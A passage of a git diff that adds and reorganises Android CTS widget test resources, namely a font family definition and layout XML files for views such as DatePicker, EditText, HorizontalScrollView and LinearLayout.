--- /dev/null
+++ b/tests/tests/widget/res/font/samplefont.ttf
Binary files differ
diff --git a/tests/tests/widget/res/font/samplexmlfont.xml b/tests/tests/widget/res/font/samplexmlfont.xml
new file mode 100644
index 0000000..17f5b50
--- /dev/null
+++ b/tests/tests/widget/res/font/samplexmlfont.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+    <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/samplefont" />
+    <font android:fontStyle="italic" android:fontWeight="400" android:font="@font/samplefont" />
+</font-family>
\ No newline at end of file
diff --git a/tests/tests/widget/res/layout/absolute_layout.xml b/tests/tests/widget/res/layout/absolute_layout.xml
index 6cec61b..be525e2 100644
--- a/tests/tests/widget/res/layout/absolute_layout.xml
+++ b/tests/tests/widget/res/layout/absolute_layout.xml
@@ -14,14 +14,17 @@
      limitations under the License.
 -->
 
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
-    android:layout_height="match_parent">
+    android:layout_height="match_parent"
+    android:orientation="vertical">
 
     <AbsoluteLayout
         android:id="@+id/absolute_view"
         android:layout_width="match_parent"
-        android:layout_height="match_parent"
+        android:layout_height="0dip"
+        android:layout_weight="0.5"
         android:layout_x="1dip"
         android:layout_y="2dip">
 
@@ -36,4 +39,24 @@
 
     </AbsoluteLayout>
 
+    <view
+        class="android.widget.cts.AbsoluteLayoutTest$MyAbsoluteLayout"
+        android:id="@+id/absolute_view_custom"
+        android:layout_width="match_parent"
+        android:layout_height="0dip"
+        android:layout_weight="0.5"
+        android:layout_x="1dip"
+        android:layout_y="2dip">
+
+        <TextView
+            android:id="@+id/absolute_textview2"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_x="10dip"
+            android:layout_y="20dip"
+            android:background="@drawable/blue"
+            android:text="@string/hello_world"/>
+
+    </view>
+
 </LinearLayout>
diff --git a/tests/tests/widget/res/layout/actionmenuview_layout.xml b/tests/tests/widget/res/layout/actionmenuview_layout.xml
new file mode 100644
index 0000000..5d2895e
--- /dev/null
+++ b/tests/tests/widget/res/layout/actionmenuview_layout.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="horizontal">
+
+    <Button
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/button" />
+
+    <ActionMenuView
+        android:id="@+id/action_menu_view"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+
+</LinearLayout>
+
diff --git a/tests/tests/widget/res/layout/autocompletetextview_layout.xml b/tests/tests/widget/res/layout/autocompletetextview_layout.xml
index 27eccab..793dfb0 100644
--- a/tests/tests/widget/res/layout/autocompletetextview_layout.xml
+++ b/tests/tests/widget/res/layout/autocompletetextview_layout.xml
@@ -24,10 +24,17 @@
         android:layout_height="wrap_content"
         android:text="@string/notify" />
 
-    <android.widget.cts.AutoCompleteTextViewNoIme android:id="@+id/autocompletetv_edit"
-        android:completionThreshold="1"
-        android:completionHint="@string/tabs_1"
+    <android.widget.cts.AutoCompleteTextViewNoIme
+        android:id="@+id/autocompletetv_edit"
         android:layout_width="match_parent"
         android:layout_height="wrap_content"
-        android:inputType="none"/>
+        android:completionThreshold="1"
+        android:completionHint="@string/tabs_1"
+        android:inputType="none" />
+
+    <view
+        class="android.widget.cts.AutoCompleteTextViewTest$MockAutoCompleteTextView"
+        android:id="@+id/autocompletetv_custom"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content" />
 </LinearLayout>
diff --git a/tests/tests/widget/res/layout/calendarview_layout.xml b/tests/tests/widget/res/layout/calendarview_layout.xml
index 3bc5e47..507d48e 100644
--- a/tests/tests/widget/res/layout/calendarview_layout.xml
+++ b/tests/tests/widget/res/layout/calendarview_layout.xml
@@ -17,6 +17,7 @@
 
 <ScrollView
     xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/scroller"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
     android:fillViewport="true">
diff --git a/tests/tests/widget/res/layout/checkbox_layout.xml b/tests/tests/widget/res/layout/checkbox_layout.xml
index a1f1718..c922436 100644
--- a/tests/tests/widget/res/layout/checkbox_layout.xml
+++ b/tests/tests/widget/res/layout/checkbox_layout.xml
@@ -14,12 +14,14 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  -->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:orientation="vertical">
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
 
-    <CheckBox android:id="@+id/check_box"
+    <CheckBox
+        android:id="@+id/check_box"
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
         android:text="@string/hello_world" />
diff --git a/tests/tests/widget/res/layout/checkedtextview_layout.xml b/tests/tests/widget/res/layout/checkedtextview_layout.xml
index d5b9c1f..fbee93e 100644
--- a/tests/tests/widget/res/layout/checkedtextview_layout.xml
+++ b/tests/tests/widget/res/layout/checkedtextview_layout.xml
@@ -14,20 +14,22 @@
      limitations under the License.
 -->
 
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-                android:layout_width="match_parent"
-                android:layout_height="match_parent">
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
 
-    <ListView android:id="@+id/checkedtextview_listview"
-        android:orientation="vertical"
+    <ListView
+        android:id="@+id/checkedtextview_listview"
         android:layout_width="match_parent"
-        android:layout_height="match_parent">
-    </ListView>
+        android:layout_height="0dip"
+        android:layout_weight="1" />
 
-    <CheckedTextView android:id="@+id/checkedtextview_test"
-        android:orientation="vertical"
+    <CheckedTextView
+        android:id="@+id/checkedtextview_test"
         android:layout_width="match_parent"
-        android:layout_height="match_parent">
-    </CheckedTextView>
+        android:layout_height="wrap_content"
+        android:text="@string/hello_world" />
 
 </LinearLayout>
diff --git a/tests/tests/widget/res/layout/compoundbutton_layout.xml b/tests/tests/widget/res/layout/compoundbutton_layout.xml
new file mode 100644
index 0000000..4ab73c8
--- /dev/null
+++ b/tests/tests/widget/res/layout/compoundbutton_layout.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <view
+        class="android.widget.cts.CompoundButtonTest$MockCompoundButton"
+        android:id="@+id/compound_button"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/hello_world" />
+
+    <view
+        class="android.widget.cts.CompoundButtonTest$MockCompoundButton"
+        android:id="@+id/button_tint"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:buttonTint="@android:color/white"
+        android:buttonTintMode="src_over" />
+</LinearLayout>
diff --git a/tests/tests/widget/res/layout/datepicker_layout.xml b/tests/tests/widget/res/layout/datepicker_layout.xml
index 925674c..9857440 100644
--- a/tests/tests/widget/res/layout/datepicker_layout.xml
+++ b/tests/tests/widget/res/layout/datepicker_layout.xml
@@ -14,14 +14,29 @@
      limitations under the License.
 -->
 
-<RelativeLayout
+<ScrollView
     xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
-    android:layout_height="match_parent">
-    <DatePicker
-        android:id="@+id/datePicker_dp"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_centerInParent="true" />
+    android:layout_height="match_parent"
+    android:fillViewport="true">
 
-</RelativeLayout>
+    <LinearLayout
+        android:id="@+id/container"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical">
+
+        <DatePicker
+            android:id="@+id/date_picker_calendar_mode"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:datePickerMode="calendar" />
+
+        <DatePicker
+            android:id="@+id/date_picker_spinner_mode"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:datePickerMode="spinner" />
+
+    </LinearLayout>
+</ScrollView>
diff --git a/tests/tests/widget/res/layout/edittext_layout.xml b/tests/tests/widget/res/layout/edittext_layout.xml
index 398d3be..7157d92 100644
--- a/tests/tests/widget/res/layout/edittext_layout.xml
+++ b/tests/tests/widget/res/layout/edittext_layout.xml
@@ -14,26 +14,46 @@
      limitations under the License.
 -->
 
-<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+<ScrollView
+    xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
     android:layout_height="match_parent" >
 
-    <LinearLayout android:id="@+id/edit_text"
+    <LinearLayout
+        android:id="@+id/edit_text"
         android:layout_width="match_parent"
         android:layout_height="match_parent"
         android:orientation="vertical">
 
+        <EditText
+            android:id="@+id/edittext_simple1"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" />
+
+        <EditText
+            android:id="@+id/edittext_simple2"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" />
+
         <EditText android:id="@+id/edittext1"
             style="@android:style/Widget.EditText"
             android:layout_width="match_parent"
-            android:layout_height="match_parent"
+            android:layout_height="wrap_content"
             android:layout_marginTop="10dip"
             android:scrollHorizontally="true"
             android:capitalize="sentences"
             android:autoText="false"
             android:maxLines="3"
             android:textColor="#FF0000"
-            android:text="@string/edit_text"
-        />
+            android:text="@string/edit_text" />
+
+        <EditText
+            android:id="@+id/edittext_autosize"
+            android:layout_width="300dp"
+            android:layout_height="400dp"
+            android:text="@string/long_text"
+            android:autoSizeTextType="uniform"
+            android:textSize="50dp"
+            android:autoSizeStepGranularity="2dp" />
     </LinearLayout>
 </ScrollView>
diff --git a/tests/tests/widget/res/layout/expandablelistview_child.xml b/tests/tests/widget/res/layout/expandablelistview_child.xml
new file mode 100644
index 0000000..b34f10b
--- /dev/null
+++ b/tests/tests/widget/res/layout/expandablelistview_child.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<TextView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:textSize="18sp" />
diff --git a/tests/tests/widget/res/layout/expandablelistview_group.xml b/tests/tests/widget/res/layout/expandablelistview_group.xml
new file mode 100644
index 0000000..be929ee
--- /dev/null
+++ b/tests/tests/widget/res/layout/expandablelistview_group.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<TextView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:textStyle="bold"
+    android:textSize="24sp" />
diff --git a/tests/tests/widget/res/layout/gallery_test.xml b/tests/tests/widget/res/layout/gallery_test.xml
index 03f0e60..1feb680 100644
--- a/tests/tests/widget/res/layout/gallery_test.xml
+++ b/tests/tests/widget/res/layout/gallery_test.xml
@@ -19,10 +19,10 @@
     android:layout_width="match_parent"
     android:layout_height="match_parent">
 
-    <android.widget.cts.MyGallery xmlns:android="http://schemas.android.com/apk/res/android"
+    <view
+        class="android.widget.cts.GalleryTest$MyGallery"
         android:id="@+id/gallery_test"
         android:layout_width="match_parent"
-        android:layout_height="match_parent">
-    </android.widget.cts.MyGallery>
+        android:layout_height="match_parent"/>
 
 </LinearLayout>
diff --git a/tests/tests/widget/res/layout/gridlayout_layout.xml b/tests/tests/widget/res/layout/gridlayout_layout.xml
index 54b3b2c..44495d9 100644
--- a/tests/tests/widget/res/layout/gridlayout_layout.xml
+++ b/tests/tests/widget/res/layout/gridlayout_layout.xml
@@ -16,8 +16,6 @@
  -->
 <GridLayout
     xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/gridlayout"
     android:layout_width="match_parent"
-    android:layout_height="wrap_content"
-    android:orientation="vertical"
-    >
-</GridLayout>
+    android:layout_height="match_parent" />
diff --git a/tests/tests/widget/res/layout/horizontal_scrollview.xml b/tests/tests/widget/res/layout/horizontal_scrollview.xml
index 0f88ab3..e14fe54 100644
--- a/tests/tests/widget/res/layout/horizontal_scrollview.xml
+++ b/tests/tests/widget/res/layout/horizontal_scrollview.xml
@@ -14,92 +14,110 @@
      limitations under the License.
 -->
 
-<android.widget.cts.MyHorizontalScrollView xmlns:android="http://schemas.android.com/apk/res/android"
-    android:id="@+id/horizontal_scroll_view"
-    android:layout_width="100px"
-    android:layout_height="100px">
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+    <view
+        class="android.widget.cts.HorizontalScrollViewTest$MyHorizontalScrollView"
+        android:id="@+id/horizontal_scroll_view_custom"
+        android:layout_width="100px"
+        android:layout_height="100px">
 
-    <LinearLayout
-        android:orientation="horizontal"
-        android:layout_width="250px"
-        android:layout_height="wrap_content">
-
-        <Button
-            android:id="@+id/first_horizontal_child"
+        <LinearLayout
+            android:orientation="horizontal"
             android:layout_width="250px"
-            android:layout_height="100px"
-            android:text="@string/vertical_text_1"/>
+            android:layout_height="wrap_content">
 
-        <Button
-            android:layout_width="250px"
-            android:layout_height="100px"
-            android:text="@string/vertical_text_2"/>
+            <Button
+                android:id="@+id/first_horizontal_child"
+                android:layout_width="250px"
+                android:layout_height="100px"
+                android:text="@string/vertical_text_1"/>
 
-        <Button
-            android:layout_width="250px"
-            android:layout_height="100px"
-            android:text="@string/vertical_text_3"/>
+            <Button
+                android:layout_width="250px"
+                android:layout_height="100px"
+                android:text="@string/vertical_text_2"/>
 
-        <Button
-            android:layout_width="250px"
-            android:layout_height="100px"
-            android:text="@string/vertical_text_1"/>
+            <Button
+                android:layout_width="250px"
+                android:layout_height="100px"
+                android:text="@string/vertical_text_3"/>
 
-        <Button
-            android:layout_width="250px"
-            android:layout_height="100px"
-            android:text="@string/vertical_text_2"/>
+            <Button
+                android:layout_width="250px"
+                android:layout_height="100px"
+                android:text="@string/vertical_text_1"/>
 
-        <Button
-            android:layout_width="250px"
-            android:layout_height="100px"
-            android:text="@string/vertical_text_3"/>
+            <Button
+                android:layout_width="250px"
+                android:layout_height="100px"
+                android:text="@string/vertical_text_2"/>
 
-        <Button
-            android:layout_width="250px"
-            android:layout_height="100px"
-            android:text="@string/vertical_text_1"/>
+            <Button
+                android:layout_width="250px"
+                android:layout_height="100px"
+                android:text="@string/vertical_text_3"/>
 
-        <Button
-            android:layout_width="250px"
-            android:layout_height="100px"
-            android:text="@string/vertical_text_2"/>
+            <Button
+                android:layout_width="250px"
+                android:layout_height="100px"
+                android:text="@string/vertical_text_1"/>
 
-        <Button
-            android:layout_width="250px"
-            android:layout_height="100px"
-            android:text="@string/vertical_text_3"/>
+            <Button
+                android:layout_width="250px"
+                android:layout_height="100px"
+                android:text="@string/vertical_text_2"/>
 
-        <Button
-            android:layout_width="250px"
-            android:layout_height="100px"
-            android:text="@string/vertical_text_1"/>
+            <Button
+                android:layout_width="250px"
+                android:layout_height="100px"
+                android:text="@string/vertical_text_3"/>
 
-        <Button
-            android:layout_width="250px"
-            android:layout_height="100px"
-            android:text="@string/vertical_text_2"/>
+            <Button
+                android:layout_width="250px"
+                android:layout_height="100px"
+                android:text="@string/vertical_text_1"/>
 
-        <Button
-            android:layout_width="250px"
-            android:layout_height="100px"
-            android:text="@string/vertical_text_3"/>
+            <Button
+                android:layout_width="250px"
+                android:layout_height="100px"
+                android:text="@string/vertical_text_2"/>
 
-        <Button
-            android:layout_width="250px"
-            android:layout_height="100px"
-            android:text="@string/vertical_text_1"/>
+            <Button
+                android:layout_width="250px"
+                android:layout_height="100px"
+                android:text="@string/vertical_text_3"/>
 
-        <Button
-            android:layout_width="250px"
-            android:layout_height="100px"
-            android:text="@string/vertical_text_2"/>
+            <Button
+                android:layout_width="250px"
+                android:layout_height="100px"
+                android:text="@string/vertical_text_1"/>
 
-        <Button
-            android:id="@+id/last_horizontal_child"
-            android:layout_width="250px"
-            android:layout_height="100px"
-            android:text="@string/vertical_text_3"/>
-    </LinearLayout>
+            <Button
+                android:layout_width="250px"
+                android:layout_height="100px"
+                android:text="@string/vertical_text_2"/>
 
-</android.widget.cts.MyHorizontalScrollView>
+            <Button
+                android:id="@+id/last_horizontal_child"
+                android:layout_width="250px"
+                android:layout_height="100px"
+                android:text="@string/vertical_text_3"/>
+        </LinearLayout>
+
+    </view>
+
+    <HorizontalScrollView
+        android:id="@+id/horizontal_scroll_view_regular"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content" />
+
+    <view
+        class="android.widget.cts.HorizontalScrollViewTest$MyHorizontalScrollView"
+        android:id="@+id/horizontal_scroll_view_custom_empty"
+        android:layout_width="100px"
+        android:layout_height="100px" />
+</LinearLayout>
diff --git a/tests/tests/widget/res/layout/imagebutton_layout.xml b/tests/tests/widget/res/layout/imagebutton_layout.xml
new file mode 100644
index 0000000..f59f669
--- /dev/null
+++ b/tests/tests/widget/res/layout/imagebutton_layout.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <ImageButton
+        android:id="@+id/image_button"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:src="@drawable/icon_red" />
+
+</LinearLayout>
diff --git a/tests/tests/widget/res/layout/imagebutton_test.xml b/tests/tests/widget/res/layout/imagebutton_test.xml
deleted file mode 100644
index 7d4b691..0000000
--- a/tests/tests/widget/res/layout/imagebutton_test.xml
+++ /dev/null
@@ -1,23 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2008 The Android Open Source Project.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-<ImageButton xmlns:android="http://schemas.android.com/apk/res/android"
-    android:id="@+id/imagebutton"
-    android:layout_width="96px"
-    android:layout_height="76px"
-    android:soundEffectsEnabled="false"
-/>
-
diff --git a/tests/tests/widget/res/layout/imageswitcher_layout.xml b/tests/tests/widget/res/layout/imageswitcher_layout.xml
new file mode 100644
index 0000000..2cb15db
--- /dev/null
+++ b/tests/tests/widget/res/layout/imageswitcher_layout.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+ * Copyright (C) 2008 The Android Open Source Project.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<FrameLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <ImageSwitcher
+        android:id="@+id/switcher"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent" />
+</FrameLayout>
+
diff --git a/tests/tests/widget/res/layout/imageswitcher_test.xml b/tests/tests/widget/res/layout/imageswitcher_test.xml
deleted file mode 100644
index 496b2ba..0000000
--- a/tests/tests/widget/res/layout/imageswitcher_test.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
- * Copyright (C) 2008 The Android Open Source Project.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent">
-
-    <ImageSwitcher android:id="@+id/switcher"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:layout_alignParentTop="true"
-        android:layout_alignParentLeft="true"
-    />
-</RelativeLayout>
-
diff --git a/tests/tests/widget/res/layout/imageview_layout.xml b/tests/tests/widget/res/layout/imageview_layout.xml
index 80512e2..1876e2f 100644
--- a/tests/tests/widget/res/layout/imageview_layout.xml
+++ b/tests/tests/widget/res/layout/imageview_layout.xml
@@ -24,24 +24,30 @@
     android:orientation="vertical">
 
     <ImageView
-        android:id="@+id/imageview"
+        android:id="@+id/imageview_regular"
         android:layout_width="320px"
         android:layout_height="240px"/>
 
     <ImageView
-        android:id="@+id/image_tint"
+        android:id="@+id/imageview_tint"
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
         android:tint="@android:color/white"
         android:tintMode="src_over" />
 
     <ImageView
-        android:id="@+id/image_tint_with_source"
+        android:id="@+id/imageview_tint_with_source"
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
         android:src="@drawable/icon_red"
         android:tint="@android:color/white"
         android:tintMode="src_over" />
 
+    <view
+        class="android.widget.cts.ImageViewTest$MockImageView"
+        android:id="@+id/imageview_custom"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+
 </LinearLayout>
 
diff --git a/tests/tests/widget/res/layout/linearlayout_layout.xml b/tests/tests/widget/res/layout/linearlayout_layout.xml
index 8881552..3638de5d3 100644
--- a/tests/tests/widget/res/layout/linearlayout_layout.xml
+++ b/tests/tests/widget/res/layout/linearlayout_layout.xml
@@ -14,125 +14,242 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  -->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-                android:id="@+id/linearlayout_root"
-                android:layout_width="match_parent"
+<ScrollView
+        xmlns:android="http://schemas.android.com/apk/res/android"
+        android:id="@+id/linearlayout_root"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical">
+
+        <LinearLayout
+            android:id="@+id/linear_horizontal"
+            android:layout_width="wrap_content"
+            android:layout_height="100dip"
+            android:orientation="horizontal"
+            android:background="#888">
+
+            <TextView
+                android:id="@+id/gravity_top"
+                android:layout_width="wrap_content"
+                android:layout_height="50dip"
+                android:layout_gravity="top"
+                android:background="#0F0"
+                android:text="@string/horizontal_text_1" />
+
+            <TextView
+                android:id="@+id/gravity_center_vertical"
+                android:layout_width="wrap_content"
+                android:layout_height="50dip"
+                android:layout_gravity="center_vertical"
+                android:background="#0F0"
+                android:text="@string/horizontal_text_2" />
+
+            <TextView
+                android:id="@+id/gravity_bottom"
+                android:layout_width="wrap_content"
+                android:layout_height="50dip"
+                android:layout_gravity="bottom"
+                android:background="#0F0"
+                android:text="@string/horizontal_text_3" />
+        </LinearLayout>
+
+        <LinearLayout
+            android:id="@+id/linear_vertical"
+            android:layout_width="100dip"
+            android:layout_height="wrap_content"
+            android:orientation="vertical"
+            android:background="#F00">
+
+            <TextView
+                android:id="@+id/gravity_left"
+                android:layout_width="wrap_content"
+                android:layout_height="20dip"
+                android:layout_gravity="left"
+                android:background="#0F0"
+                android:text="@string/vertical_text_1" />
+
+            <TextView
+                android:id="@+id/gravity_center_horizontal"
+                android:layout_width="wrap_content"
+                android:layout_height="20dip"
+                android:layout_gravity="center_horizontal"
+                android:background="#00F"
+                android:text="@string/vertical_text_2" />
+
+            <TextView
+                android:id="@+id/gravity_right"
+                android:layout_width="wrap_content"
+                android:layout_height="20dip"
+                android:layout_gravity="right"
+                android:background="#0F0"
+                android:text="@string/vertical_text_3" />
+        </LinearLayout>
+
+        <LinearLayout
+            android:id="@+id/linear_weightsum"
+            android:layout_width="100dip"
+            android:layout_height="100dip"
+            android:orientation="horizontal"
+            android:weightSum="1.0"
+            android:baselineAligned="false"
+            android:background="#888">
+
+            <TextView
+                android:id="@+id/weight_0_2"
+                android:layout_width="0dip"
                 android:layout_height="wrap_content"
-                android:orientation="vertical">
+                android:layout_weight="0.2"
+                android:background="#00F"
+                android:text="@string/horizontal_text_1" />
 
-    <LinearLayout android:id="@+id/horizontal"
-        android:orientation="horizontal"
-        android:layout_width="wrap_content"
-        android:layout_height="100dip"
-        android:background="#FF909090">
+            <TextView
+                android:id="@+id/weight_0_5"
+                android:layout_width="0dip"
+                android:layout_height="wrap_content"
+                android:layout_weight="0.5"
+                android:background="#F00"
+                android:text="@string/horizontal_text_2" />
 
-        <TextView android:id="@+id/gravity_top"
-            android:background="#FF00FF00"
+            <TextView
+                android:id="@+id/weight_0_3"
+                android:layout_width="0dip"
+                android:layout_height="wrap_content"
+                android:layout_weight="0.3"
+                android:background="#00F"
+                android:text="@string/horizontal_text_3" />
+        </LinearLayout>
+
+        <LinearLayout
+            android:id="@+id/linear_weightsum_vertical"
+            android:layout_width="100dip"
+            android:layout_height="100dip"
+            android:orientation="vertical"
+            android:weightSum="1.0"
+            android:baselineAligned="false"
+            android:background="#888">
+
+            <TextView
+                android:id="@+id/weight_0_1"
+                android:layout_width="wrap_content"
+                android:layout_height="0dip"
+                android:layout_weight="0.1"
+                android:background="#00F"
+                android:text="@string/vertical_text_1" />
+
+            <TextView
+                android:id="@+id/weight_0_4"
+                android:layout_width="wrap_content"
+                android:layout_height="0dip"
+                android:layout_weight="0.4"
+                android:background="#F00"
+                android:text="@string/vertical_text_2" />
+
+            <TextView
+                android:id="@+id/weight_0_5"
+                android:layout_width="wrap_content"
+                android:layout_height="0dip"
+                android:layout_weight="0.5"
+                android:background="#00F"
+                android:text="@string/vertical_text_3" />
+        </LinearLayout>
+
+        <LinearLayout
+            android:id="@+id/linear_baseline_aligned_child_index"
             android:layout_width="wrap_content"
-            android:layout_height="50dip"
-            android:layout_gravity="top"
-            android:text="@string/horizontal_text_1"/>
-
-        <TextView android:id="@+id/gravity_center_vertical"
-            android:background="#FF00FF00"
-            android:layout_width="wrap_content"
-            android:layout_height="50dip"
-            android:layout_gravity="center_vertical"
-            android:text="@string/horizontal_text_2"/>
-
-        <TextView android:id="@+id/gravity_bottom"
-            android:background="#FF00FF00"
-            android:layout_width="wrap_content"
-            android:layout_height="50dip"
-            android:layout_gravity="bottom"
-            android:text="@string/horizontal_text_3"/>
-    </LinearLayout>
-
-    <LinearLayout android:id="@+id/vertical"
-        android:orientation="vertical"
-        android:layout_width="100dip"
-        android:layout_height="wrap_content"
-        android:background="#FFFF0909">
-
-        <TextView android:id="@+id/gravity_left"
-            android:background="#FF00FF00"
